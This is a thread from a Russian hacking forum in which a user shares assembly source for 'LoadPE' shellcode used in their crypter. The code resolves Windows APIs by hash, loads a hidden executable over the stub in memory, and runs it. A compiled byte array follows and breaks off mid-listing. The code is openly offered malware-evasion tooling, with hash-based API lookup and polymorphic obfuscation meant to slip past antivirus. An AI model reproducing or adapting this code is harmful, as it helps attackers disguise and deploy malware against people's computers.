1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

[ASM] LoadPE Shallcode

Тема в разделе "Assembler", создана пользователем covetous.eyes, 7 фев 2013.

  1. covetous.eyes
    covetous.eyes Новичок
    Симпатии:
    1
    Я использую этот loadPE шеллкод в моем крипторе. Шеллкод в памяти заменяет стаб на оригинальную прогу. Шеллкод принимает 2 входных параметра: pPEImage - указатель на PE Образ сохраненных в верхних адресах памяти, pMyAddr - адрес этого шеллкода (я использую его вместо получения дельта смещения). Ассемблерный листинг шеллкода (более чем наполовину) сгенерирован моим полиморфным движком.

    Асм листинг LoadPE шеллкода:

    Код:
    use32
    
    format binary
    
    include 'win32a.inc'
    include 'pe.inc'
    
    struct stAPITable
     pVirtualAllocEx_kernel32		 dd ?
     pMessageBoxA_user32			 dd ?
     pLoadLibraryA_kernel32 		 dd ?
     pVirtualFree_kernel32			 dd ?
     pVirtualProtect_kernel32		 dd ?
    ends
    
    proc	loadPE_main pPEImage, pMyAddr
      local   pFileHeader:DWORD
      local   APITable[0x14]:BYTE
      local   pAPITable:DWORD
      local   iResult:DWORD
      local   pImageBase:DWORD
      local   huser32:DWORD
      local   szuser32[0xb]:BYTE
      local   pGetHashSz:DWORD
      local   hkernel32:DWORD
        push    edi
        push    ecx
        push    eax
        push    DWord [pMyAddr]
        pop     ebx
        lea     ebx, [ebx+GetHashSz]
        push    ebx
        pop     DWord [pGetHashSz]
        call    GetK32
        mov     DWord [hkernel32], eax
        stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x71e40722
        push    eax
        pop     DWord [APITable+stAPITable.pLoadLibraryA_kernel32]
        lea     edi, [szuser32]
        push    DWORD 0x72657375
        pop     DWord [edi]
        add     edi, DWORD 0x4
        mov     DWord [edi], DWORD 0x642e3233
        add     edi, DWORD 0x4
        mov     BYTE [edi], 0x6c
        inc     edi
        mov     BYTE [edi], 0x6c
        inc     edi
        mov     BYTE [edi], 0x0
        lea     eax, [szuser32]
        stdcall DWord [APITable+stAPITable.pLoadLibraryA_kernel32], eax
        mov     DWord [huser32], eax
        stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x632466f0
        push    eax
        pop     DWord [APITable+stAPITable.pVirtualAllocEx_kernel32]
        stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x15f8ef80
        mov     DWord [APITable+stAPITable.pVirtualProtect_kernel32], eax
        stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0xea43a878
        mov     DWord [APITable+stAPITable.pVirtualFree_kernel32], eax
        stdcall AltGetProcAddressByHash, [huser32], ebx, 0xbe7b3098
        push    eax
        pop     DWord [APITable+stAPITable.pMessageBoxA_user32]
        push    DWORD 0x400000
        pop     DWord [pImageBase]
        lea     ecx, [APITable]
        push    ecx
        pop     DWord [pAPITable]
        stdcall verifyPE, [pPEImage]
        cmp     eax, 0x0
        jz	    .End
        push    eax
        pop     DWord [pFileHeader]
        stdcall loadFile, [pAPITable], [pFileHeader], [pPEImage]
        cmp     eax, 0x0
        jz	    .End
        stdcall loadImportTable, [pAPITable], [pGetHashSz], [pImageBase]
        test    eax, eax
        jz	    .End
        stdcall setPermissions, [pAPITable], [pFileHeader], [pPEImage]
        mov     esi, [pFileHeader]
        mov     eax, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]
        add     eax, [pImageBase]
        jmp     eax
    .End:
        pop     eax
        pop     ecx
        pop     edi
        mov     eax, DWord [iResult]
        ret
    endp
    
    proc	verifyPE pImagePE
      local   iResult:DWORD
        pusha
        push    DWord [pImagePE]
        pop     edx
        cmp     Word [edx], WORD 0x5a4d
        jnz     .Exit
        mov     ecx, DWord [edx+IMAGE_DOS_HEADER.e_lfanew]
        add     edx, ecx
        cmp     DWord [edx], DWORD 0x4550
        jne     .Exit
        lea     edx, [edx+0x4]
    .Exit:
        mov     DWord [iResult], edx
        popa
        push    DWord [iResult]
        pop     eax
        ret
    endp
    
    proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD 
    
        pushad 
        mov 	edx, [pSectionHeader]
        mov 	esi, [pFileImageBase]
        add 	esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]
        mov 	edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
        add 	edi, [image_base]
        mov 	ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]
        cld
        rep 	movsb
        popad
        xor 	eax,eax
        inc 	eax
        ret
    endp
    
    proc  loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
    
    local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD, .retval:DWORD, .dwProtectBuff:DWORD, .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD
    
        pushad
        xor 	eax, eax
        mov 	[.retval], eax
        mov 	edx, [pImageFileHeader]
        movzx	eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
        mov 	[.iSectNum], eax 
        mov 	eax, [edx + IMAGE_OPTIONAL_HEADER32.ImageBase+sizeof.IMAGE_FILE_HEADER]
        mov 	[.pImageBase], eax
        lea 	eax, [edx+sizeof.IMAGE_FILE_HEADER]
        mov 	[.pImageOptionalHeader], eax
        mov 	eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]
        lea 	edx, [.dwProtectBuff]
        mov 	ebx, [pAPITable]
        stdcall	DWord [ebx+stAPITable.pVirtualProtect_kernel32], [.pImageBase], eax, PAGE_READWRITE, edx
        test	eax, eax
        jz		.Exit
        mov 	edx, [.pImageOptionalHeader] 
        lea 	ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
        mov 	eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
        mov 	edx, sizeof.IMAGE_DATA_DIRECTORY
        mul 	edx
        add 	eax, ebx
        mov 	[.pSectionHeaders], eax
        mov 	eax, sizeof.IMAGE_SECTION_HEADER
        mov 	edx, [.iSectNum]
        mul 	edx
        add 	eax, [.pSectionHeaders]
        mov 	ebx, [pFileImageBase]
        sub 	eax, ebx
        mov 	[.iPEHeaderSize], eax
        mov 	edi, [.pImageBase]
        mov 	esi, [pFileImageBase]
        mov 	ecx, [.iPEHeaderSize]
        rep 	movsb
        mov 	ecx, [.iSectNum]
        mov 	ebx, [.pSectionHeaders]
    .load_section_loop:
        stdcall	loadSection, ebx, [.pImageBase], [pFileImageBase]
        test	eax, eax
        jz		.Exit
        add 	ebx, sizeof.IMAGE_SECTION_HEADER
        dec 	ecx
        jnz 	.load_section_loop
        inc 	[.retval]
    .Exit:
        popad
        mov 	eax, [.retval]
        ret
    endp 
    
    proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
    
     local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD
        pushad
        xor 	eax, eax
        mov 	[.retval], eax
        mov 	edx, [pImageFileHeader]
        movzx	eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
        mov 	[.number_of_sections], eax
        add 	edx, sizeof.IMAGE_FILE_HEADER
        mov 	eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]
        mov 	[.image_base], eax
        lea 	ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]
        mov 	eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
        mov 	edx, sizeof.IMAGE_DATA_DIRECTORY
        mul 	edx
        add 	eax, ebx
        mov 	[.section_headers], eax
        mov 	eax, sizeof.IMAGE_SECTION_HEADER
        mov 	edx, [.number_of_sections]
        mul 	edx
        add 	eax, [.section_headers]
        mov 	ebx, [pFileImageBase]
        sub 	eax, ebx
        mov 	[.pe_header_size], eax
        mov 	edx, [APITable]
        lea 	eax, [.vprotect_ret]
        stdcall	dword [edx+stAPITable.pVirtualProtect_kernel32], [.image_base], [.pe_header_size], PAGE_READONLY, eax
        test	eax, eax
        jz		.exit
        mov 	ecx, [.number_of_sections]
        mov 	ebx, [.section_headers]
    .load_section_loop:
        stdcall	setSection, [APITable], ebx, [.image_base], [pFileImageBase]
        test	eax, eax
        jz		.exit
        add 	ebx, sizeof.IMAGE_SECTION_HEADER
        loop	.load_section_loop
        inc 	[.retval]
    .exit:
        popad
        mov 	eax, [.retval]
        ret
    endp
    proc setSection APITable:DWORD, pSectionHeader:DWORD, pImageBase:DWORD, pFileImageBase:DWORD 
    local .section_flags:DWORD, .retval:DWORD, .vprotect_ret:DWORD
        pushad
        xor 	ebx, ebx
        mov 	[.retval], ebx
        mov 	edx, [pSectionHeader]
    ;section execute/read/write?
        mov 	ebx, [edx+IMAGE_SECTION_HEADER.Characteristics]
        and 	ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        cmp 	ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        jne 	.no_execute_read_write
        mov 	eax, PAGE_EXECUTE_READWRITE
        mov 	[.section_flags],eax
        jmp 	.set_memory
    .no_execute_read_write:
        mov 	ebx, [edx+IMAGE_SECTION_HEADER.Characteristics]
        and 	ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
        cmp 	ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
        jne 	.no_execute_read
        mov 	eax, PAGE_EXECUTE_READ
        mov 	[.section_flags],eax
        jmp 	.set_memory
    .no_execute_read:
        mov 	ebx, [edx+IMAGE_SECTION_HEADER.Characteristics]
        and 	ebx, IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        cmp 	ebx, IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        jne 	.no_read_write
        mov 	eax, PAGE_READWRITE
        mov 	[.section_flags], eax
        jmp 	.set_memory
    .no_read_write:
        mov 	ebx, [edx+IMAGE_SECTION_HEADER.Characteristics]
        and 	ebx, IMAGE_SCN_MEM_READ
        cmp 	ebx, IMAGE_SCN_MEM_READ
        jne 	.no_read
        mov 	eax, PAGE_READONLY
        mov 	[.section_flags], eax
        jmp 	.set_memory
    .no_read:
        mov 	eax, PAGE_NOACCESS
        mov 	[.section_flags],eax
    .set_memory:
        mov 	edx, [pSectionHeader]
        mov 	eax, [edx + IMAGE_SECTION_HEADER.VirtualAddress]
        add 	eax, [pImageBase]
        mov 	ecx, [APITable]
        lea 	edx, [.vprotect_ret]
        stdcall	DWord [ecx + stAPITable.pVirtualProtect_kernel32], eax, [edx + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], edx
        test	eax, eax
        jz		.Exit
        inc 	[.retval]
    .Exit:
        popad
        mov 	eax, [.retval]
        ret
    endp
    
    proc	GetNtdll 
      local   iResult:DWORD
        push    edi
        push    esi
        push    ebx
        push    DWord [fs:0x30]
        pop     edi
        mov     esi, DWord [edi+0xC]
        push    DWord [esi+0x1C]
        pop     ebx
        push    DWord [ebx+0x8]
        pop     DWord [iResult]
        pop     ebx
        pop     esi
        pop     edi
        mov     eax, DWord [iResult]
        ret
    endp
    
    proc	GetK32 
      local   iResult:DWORD
        pusha
        mov     ecx, DWord [fs:0x30]
        mov     edi, DWord [ecx+0xC]
        mov     edi, DWord [edi+0x1C]
    .NextModule:
        push    DWord [edi+0x8]
        pop     DWord [iResult]
        push    DWord [edi+0x20]
        pop     ebx
        mov     edi, DWord [edi]
        movzx   eax, Byte [ebx+0x18]
        test    eax, eax
        jne     .NextModule
        movzx   eax, Byte [ebx]
        cmp     eax, 0x4b
        je	    .Found_K32
        cmp     eax, 0x6b
        jne     .NextModule
    .Found_K32:
        popa
        push    DWord [iResult]
        pop     eax
        ret
    endp
    
    proc	GetHashSz strz
        push    edx
        push    ecx
        mov     edx, DWord [strz]
        push    DWORD 0x0
        pop     ecx
        push    ecx
    .CalcHash:
        ror     ecx, 7
        xor     [esp], ecx
        mov     cl, Byte [edx]
        lea     edx, [edx+0x1]
        test    cl, cl
        jnz     .CalcHash
        pop     eax
        pop     ecx
        pop     edx
        ret
    endp
    
    proc	AltGetProcAddressByHash hLib, fHashProc, iHashVal
      local   iResult:DWORD
        pusha
        push    DWORD 0x0
        pop     DWord [iResult]
        push    DWord [hLib]
        pop     esi
        movzx   ecx, Word [esi]
        cmp     ecx, 0x5a4d
        jne     .End
        movzx   edi, Word [esi+0x3c]
        add     edi, esi
        cmp     DWord [edi], DWORD 0x4550
        jne     .End
        push    DWord [edi+0x78]
        pop     ecx
        add     ecx, esi
        mov     ebx, DWord [ecx+0x18]
        push    ecx
        push    0x0
        pop     edx
        push    DWord [ecx+0x20]
        pop     eax
        lea     eax, [esi+eax]
    .MainLoop:
        push    DWord [eax]
        pop     edi
        add     edi, esi
        push    eax
        stdcall [fHashProc], edi
        cmp     eax, DWord [iHashVal]
        pop     eax
        jz	    .FoundProcname
        lea     eax, [eax+0x4]
        lea     edx, [edx+0x1]
        sub     ebx, 0x1
        or	    ebx, ebx
        jnz     .MainLoop
        pop     ecx
        jmp     .End
    .FoundProcname:
        pop     edi
        shl     edx, 1
        add     edx, DWord [edi+0x24]
        movzx   eax, Word [edx+esi]
        shl     eax, 2
        add     eax, esi
        add     eax, DWord [edi+0x1C]
        mov     ebx, DWord [eax]
        lea     ebx, [esi+ebx]
        push    ebx
        pop     DWord [iResult]
    .End:
        popa
        push    DWord [iResult]
        pop     eax
        ret
    endp
    
    proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD
    
    local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD
    
        pushad
        xor 	eax, eax
        inc 	eax
        mov 	[.retval], eax
        mov 	edx, [image_base]
        mov 	eax, [edx + IMAGE_DOS_HEADER.e_lfanew]
        lea 	eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]
        mov 	eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress]
        add 	eax, edx
        mov 	[.import_table],eax
        lea 	edi, [.null_directory_entry]
        mov 	ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
        mov 	al, 0h
        rep 	stosb
        mov 	ebx, [.import_table]
    .next_directory_entry:
        lea 	esi, [.null_directory_entry]
        mov 	edi, ebx
        mov 	ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
        rep 	cmpsb
        je		.exit_success
        stdcall	loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx
        test	eax, eax
        jz		.exit_error
        add 	ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR
        jmp 	.next_directory_entry
    .exit_success:
        inc 	[.retval]
    .exit_error:
        popad
        mov 	eax, [.retval]
        ret
    endp
    
    proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD
    
      local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD
        pushad
        mov 	eax, [directory_entry]
        mov 	eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]
        add 	eax, [image_base]
        ;load the corresponding dll
        mov 	ebx, [APITable]
        stdcall	DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax
        test	eax,eax
        jz		.exit_error
        mov 	[.dll_image_base],eax
        mov 	edx, [directory_entry]
        mov 	eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
        add 	eax, [image_base]
        mov 	[.lookup_table], eax
        mov 	eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
        add 	eax, [image_base]
        mov 	[.import_address_table],eax
        xor 	ecx, ecx
    
    .next_lookup_entry:
        mov 	eax, [.lookup_table]
        add 	eax, ecx
        mov 	eax, [eax]
        test	eax,eax
        jz		.exit_success
        mov 	ebx, eax
        and 	eax, IMAGE_ORDINAL_FLAG32
        jnz 	.exit_error
    .byname:
        add 	ebx, [image_base]
        lea 	ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_]
        mov 	eax, ebx
        push	ecx
        stdcall	GetHashSz, ebx
        stdcall	AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax
        pop 	ecx
        test	eax, eax
        jz		.exit_error
        mov 	ebx, [.import_address_table]
        add 	ebx, ecx
        mov 	[ebx], eax
        add 	ecx, 4
        jmp 	.next_lookup_entry
    .exit_success:
        popad
        mov eax,1
        ret
    .exit_error:
        popad
        mov eax,0
        ret
    endp
    
    ;it for compile snippet, you can to remove last 5 bytes of compiled snippet
    start:
    call loadPE_main
    
    Шеллкод в бинарном представлении:
    Код:
    unsigned char rawData[1272] = {
    	0x55, 0x89, 0xE5, 0x83, 0xEC, 0x3C, 0x57, 0x51, 0x50, 0xFF, 0x75, 0x0C,
    	0x5B, 0x8D, 0x9B, 0x61, 0x03, 0x00, 0x00, 0x53, 0x8F, 0x45, 0xF7, 0xE8,
    	0x09, 0x03, 0x00, 0x00, 0x89, 0x45, 0xFB, 0x68, 0x22, 0x07, 0xE4, 0x71,
    	0x53, 0xFF, 0x75, 0xFB, 0xE8, 0x59, 0x03, 0x00, 0x00, 0x50, 0x8F, 0x45,
    	0xD0, 0x8D, 0x7D, 0xEC, 0x68, 0x75, 0x73, 0x65, 0x72, 0x8F, 0x07, 0x81,
    	0xC7, 0x04, 0x00, 0x00, 0x00, 0xC7, 0x07, 0x33, 0x32, 0x2E, 0x64, 0x81,
    	0xC7, 0x04, 0x00, 0x00, 0x00, 0xC6, 0x07, 0x6C, 0x47, 0xC6, 0x07, 0x6C,
    	0x47, 0xC6, 0x07, 0x00, 0x8D, 0x45, 0xEC, 0x50, 0xFF, 0x55, 0xD0, 0x89,
    	0x45, 0xE8, 0x68, 0xF0, 0x66, 0x24, 0x63, 0x53, 0xFF, 0x75, 0xFB, 0xE8,
    	0x16, 0x03, 0x00, 0x00, 0x50, 0x8F, 0x45, 0xC8, 0x68, 0x80, 0xEF, 0xF8,
    	0x15, 0x53, 0xFF, 0x75, 0xFB, 0xE8, 0x04, 0x03, 0x00, 0x00, 0x89, 0x45,
    	0xD8, 0x68, 0x78, 0xA8, 0x43, 0xEA, 0x53, 0xFF, 0x75, 0xFB, 0xE8, 0xF3,
    	0x02, 0x00, 0x00, 0x89, 0x45, 0xD4, 0x68, 0x98, 0x30, 0x7B, 0xBE, 0x53,
    	0xFF, 0x75, 0xE8, 0xE8, 0xE2, 0x02, 0x00, 0x00, 0x50, 0x8F, 0x45, 0xCC,
    	0x68, 0x00, 0x00, 0x40, 0x00, 0x8F, 0x45, 0xE4, 0x8D, 0x4D, 0xC8, 0x51,
    	0x8F, 0x45, 0xDC, 0xFF, 0x75, 0x08, 0xE8, 0x51, 0x00, 0x00, 0x00, 0x83,
    	0xF8, 0x00, 0x74, 0x42, 0x50, 0x8F, 0x45, 0xC4, 0xFF, 0x75, 0x08, 0xFF,
    	0x75, 0xC4, 0xFF, 0x75, 0xDC, 0xE8, 0x89, 0x00, 0x00, 0x00, 0x83, 0xF8,
    	0x00, 0x74, 0x2B, 0xFF, 0x75, 0xE4, 0xFF, 0x75, 0xF7, 0xFF, 0x75, 0xDC,
    	0xE8, 0x21, 0x03, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x19, 0xFF, 0x75, 0x08,
    	0xFF, 0x75, 0xC4, 0xFF, 0x75, 0xDC, 0xE8, 0xF9, 0x00, 0x00, 0x00, 0x8B,
    	0x75, 0xC4, 0x8B, 0x46, 0x24, 0x03, 0x45, 0xE4, 0xFF, 0xE0, 0x58, 0x59,
    	0x5F, 0x8B, 0x45, 0xE0, 0xC9, 0xC2, 0x08, 0x00, 0x55, 0x89, 0xE5, 0x83,
    	0xEC, 0x04, 0x60, 0xFF, 0x75, 0x08, 0x5A, 0x66, 0x81, 0x3A, 0x4D, 0x5A,
    	0x75, 0x10, 0x8B, 0x4A, 0x3C, 0x01, 0xCA, 0x81, 0x3A, 0x50, 0x45, 0x00,
    	0x00, 0x75, 0x03, 0x8D, 0x52, 0x04, 0x89, 0x55, 0xFC, 0x61, 0xFF, 0x75,
    	0xFC, 0x58, 0xC9, 0xC2, 0x04, 0x00, 0x55, 0x89, 0xE5, 0x60, 0x8B, 0x55,
    	0x08, 0x8B, 0x75, 0x10, 0x03, 0x72, 0x14, 0x8B, 0x7A, 0x0C, 0x03, 0x7D,
    	0x0C, 0x8B, 0x4A, 0x10, 0xFC, 0xF3, 0xA4, 0x61, 0x31, 0xC0, 0x40, 0xC9,
    	0xC2, 0x0C, 0x00, 0x55, 0x89, 0xE5, 0x83, 0xEC, 0x1C, 0x60, 0x31, 0xC0,
    	0x89, 0x45, 0xF0, 0x8B, 0x55, 0x0C, 0x0F, 0xB7, 0x42, 0x02, 0x89, 0x45,
    	0xE4, 0x8B, 0x42, 0x30, 0x89, 0x45, 0xE8, 0x8D, 0x42, 0x14, 0x89, 0x45,
    	0xEC, 0x8B, 0x40, 0x38, 0x8D, 0x55, 0xF4, 0x8B, 0x5D, 0x08, 0x52, 0x6A,
    	0x04, 0x50, 0xFF, 0x75, 0xE8, 0xFF, 0x53, 0x10, 0x85, 0xC0, 0x74, 0x54,
    	0x8B, 0x55, 0xEC, 0x8D, 0x5A, 0x60, 0x8B, 0x42, 0x5C, 0xBA, 0x08, 0x00,
    	0x00, 0x00, 0xF7, 0xE2, 0x01, 0xD8, 0x89, 0x45, 0xF8, 0xB8, 0x28, 0x00,
    	0x00, 0x00, 0x8B, 0x55, 0xE4, 0xF7, 0xE2, 0x03, 0x45, 0xF8, 0x8B, 0x5D,
    	0x10, 0x29, 0xD8, 0x89, 0x45, 0xFC, 0x8B, 0x7D, 0xE8, 0x8B, 0x75, 0x10,
    	0x8B, 0x4D, 0xFC, 0xF3, 0xA4, 0x8B, 0x4D, 0xE4, 0x8B, 0x5D, 0xF8, 0xFF,
    	0x75, 0x10, 0xFF, 0x75, 0xE8, 0x53, 0xE8, 0x5F, 0xFF, 0xFF, 0xFF, 0x85,
    	0xC0, 0x74, 0x09, 0x83, 0xC3, 0x28, 0x49, 0x75, 0xEA, 0xFF, 0x45, 0xF0,
    	0x61, 0x8B, 0x45, 0xF0, 0xC9, 0xC2, 0x0C, 0x00, 0x55, 0x89, 0xE5, 0x83,
    	0xEC, 0x18, 0x60, 0x31, 0xC0, 0x89, 0x45, 0xFC, 0x8B, 0x55, 0x0C, 0x0F,
    	0xB7, 0x42, 0x02, 0x89, 0x45, 0xE8, 0x83, 0xC2, 0x14, 0x8B, 0x42, 0x1C,
    	0x89, 0x45, 0xEC, 0x8D, 0x5A, 0x60, 0x8B, 0x42, 0x5C, 0xBA, 0x08, 0x00,
    	0x00, 0x00, 0xF7, 0xE2, 0x01, 0xD8, 0x89, 0x45, 0xF0, 0xB8, 0x28, 0x00,
    	0x00, 0x00, 0x8B, 0x55, 0xE8, 0xF7, 0xE2, 0x03, 0x45, 0xF0, 0x8B, 0x5D,
    	0x10, 0x29, 0xD8, 0x89, 0x45, 0xF4, 0x8B, 0x55, 0x08, 0x8D, 0x45, 0xF8,
    	0x50, 0x6A, 0x02, 0xFF, 0x75, 0xF4, 0xFF, 0x75, 0xEC, 0xFF, 0x52, 0x10,
    	0x85, 0xC0, 0x74, 0x21, 0x8B, 0x4D, 0xE8, 0x8B, 0x5D, 0xF0, 0xFF, 0x75,
    	0x10, 0xFF, 0x75, 0xEC, 0x53, 0xFF, 0x75, 0x08, 0xE8, 0x14, 0x00, 0x00,
    	0x00, 0x85, 0xC0, 0x74, 0x08, 0x83, 0xC3, 0x28, 0xE2, 0xE8, 0xFF, 0x45,
    	0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC2, 0x0C, 0x00, 0x55, 0x89, 0xE5,
    	0x83, 0xEC, 0x0C, 0x60, 0x31, 0xDB, 0x89, 0x5D, 0xF8, 0x8B, 0x55, 0x0C,
    	0x8B, 0x5A, 0x24, 0x81, 0xE3, 0x00, 0x00, 0x00, 0xE0, 0x81, 0xFB, 0x00,
    	0x00, 0x00, 0xE0, 0x75, 0x0A, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x89, 0x45,
    	0xF4, 0xEB, 0x59, 0x8B, 0x5A, 0x24, 0x81, 0xE3, 0x00, 0x00, 0x00, 0x60,
    	0x81, 0xFB, 0x00, 0x00, 0x00, 0x60, 0x75, 0x0A, 0xB8, 0x20, 0x00, 0x00,
    	0x00, 0x89, 0x45, 0xF4, 0xEB, 0x3E, 0x8B, 0x5A, 0x24, 0x81, 0xE3, 0x00,
    	0x00, 0x00, 0xC0, 0x81, 0xFB, 0x00, 0x00, 0x00, 0xC0, 0x75, 0x0A, 0xB8,
    	0x04, 0x00, 0x00, 0x00, 0x89, 0x45, 0xF4, 0xEB, 0x23, 0x8B, 0x5A, 0x24,
    	0x81, 0xE3, 0x00, 0x00, 0x00, 0x40, 0x81, 0xFB, 0x00, 0x00, 0x00, 0x40,
    	0x75, 0x0A, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x89, 0x45, 0xF4, 0xEB, 0x08,
    	0xB8, 0x01, 0x00, 0x00, 0x00, 0x89, 0x45, 0xF4, 0x8B, 0x55, 0x0C, 0x8B,
    	0x42, 0x0C, 0x03, 0x45, 0x10, 0x8B, 0x4D, 0x08, 0x8D, 0x55, 0xFC, 0x52,
    	0xFF, 0x75, 0xF4, 0xFF, 0x72, 0x08, 0x50, 0xFF, 0x51, 0x10, 0x85, 0xC0,
    	0x74, 0x03, 0xFF, 0x45, 0xF8, 0x61, 0x8B, 0x45, 0xF8, 0xC9, 0xC2, 0x10,
    	0x00, 0x55, 0x89, 0xE5, 0x83, 0xEC, 0x04, 0x60, 0x64, 0x8B, 0x0D, 0x30,
    	0x00, 0x00, 0x00, 0x8B, 0x79, 0x0C, 0x8B, 0x7F, 0x1C, 0xFF, 0x77, 0x08,
    	0x8F, 0x45, 0xFC, 0xFF, 0x77, 0x20, 0x5B, 0x8B, 0x3F, 0x0F, 0xB6, 0x43,
    	0x18, 0x85, 0xC0, 0x75, 0xEC, 0x0F, 0xB6, 0x03, 0x83, 0xF8, 0x4B, 0x74,
    	0x05, 0x83, 0xF8, 0x6B, 0x75, 0xDF, 0x61, 0xFF, 0x75, 0xFC, 0x58, 0xC9,
    	0xC3, 0x55, 0x89, 0xE5, 0x52, 0x51, 0x8B, 0x55, 0x08, 0x68, 0x00, 0x00,
    	0x00, 0x00, 0x59, 0x51, 0xC1, 0xC9, 0x07, 0x31, 0x0C, 0x24, 0x8A, 0x0A,
    	0x8D, 0x52, 0x01, 0x84, 0xC9, 0x75, 0xF1, 0x58, 0x59, 0x5A, 0xC9, 0xC2,
    	0x04, 0x00, 0x55, 0x89, 0xE5, 0x83, 0xEC, 0x04, 0x60, 0x68, 0x00, 0x00,
    	0x00, 0x00, 0x8F, 0x45, 0xFC, 0xFF, 0x75, 0x08, 0x5E, 0x0F, 0xB7, 0x0E,
    	0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x75, 0x5D, 0x0F, 0xB7, 0x7E, 0x3C,
    	0x01, 0xF7, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x75, 0x4F, 0xFF, 0x77,
    	0x78, 0x59, 0x01, 0xF1, 0x8B, 0x59, 0x18, 0x51, 0x6A, 0x00, 0x5A, 0xFF,
    	0x71, 0x20, 0x58, 0x8D, 0x04, 0x06, 0xFF, 0x30, 0x5F, 0x01, 0xF7, 0x50,
    	0x57, 0xFF, 0x55, 0x0C, 0x3B, 0x45, 0x10, 0x58, 0x74, 0x10, 0x8D, 0x40,
    	0x04, 0x8D, 0x52, 0x01, 0x83, 0xEB, 0x01, 0x09, 0xDB, 0x75, 0xE3, 0x59,
    	0xEB, 0x1B, 0x5F, 0xD1, 0xE2, 0x03, 0x57, 0x24, 0x0F, 0xB7, 0x04, 0x32,
    	0xC1, 0xE0, 0x02, 0x01, 0xF0, 0x03, 0x47, 0x1C, 0x8B, 0x18, 0x8D, 0x1C,
    	0x1E, 0x53, 0x8F, 0x45, 0xFC, 0x61, 0xFF, 0x75, 0xFC, 0x58, 0xC9, 0xC2,
    	0x0C, 0x00, 0x55, 0x89, 0xE5, 0x83, 0xEC, 0x1C, 0x60, 0x31, 0xC0, 0x40,
    	0x89, 0x45, 0xFC, 0x8B, 0x55, 0x10, 0x8B, 0x42, 0x3C, 0x8D, 0x84, 0x02,
    	0x80, 0x00, 0x00, 0x00, 0x8B, 0x00, 0x01, 0xD0, 0x89, 0x45, 0xE4, 0x8D,
    	0x7D, 0xE8, 0xB9, 0x14, 0x00, 0x00, 0x00, 0xB0, 0x00, 0xF3, 0xAA, 0x8B,
    	0x5D, 0xE4, 0x8D, 0x75, 0xE8, 0x89, 0xDF, 0xB9, 0x14, 0x00, 0x00, 0x00,
    	0xF3, 0xA6, 0x74, 0x18, 0x53, 0xFF, 0x75, 0x10, 0xFF, 0x75, 0x0C, 0xFF,
    	0x75, 0x08, 0xE8, 0x14, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x08, 0x83,
    	0xC3, 0x14, 0xEB, 0xDA, 0xFF, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9,
    	0xC2, 0x0C, 0x00, 0x55, 0x89, 0xE5, 0x83, 0xEC, 0x0C, 0x60, 0x8B, 0x45,
    	0x14, 0x8B, 0x40, 0x0C, 0x03, 0x45, 0x10, 0x8B, 0x5D, 0x08, 0x50, 0xFF,
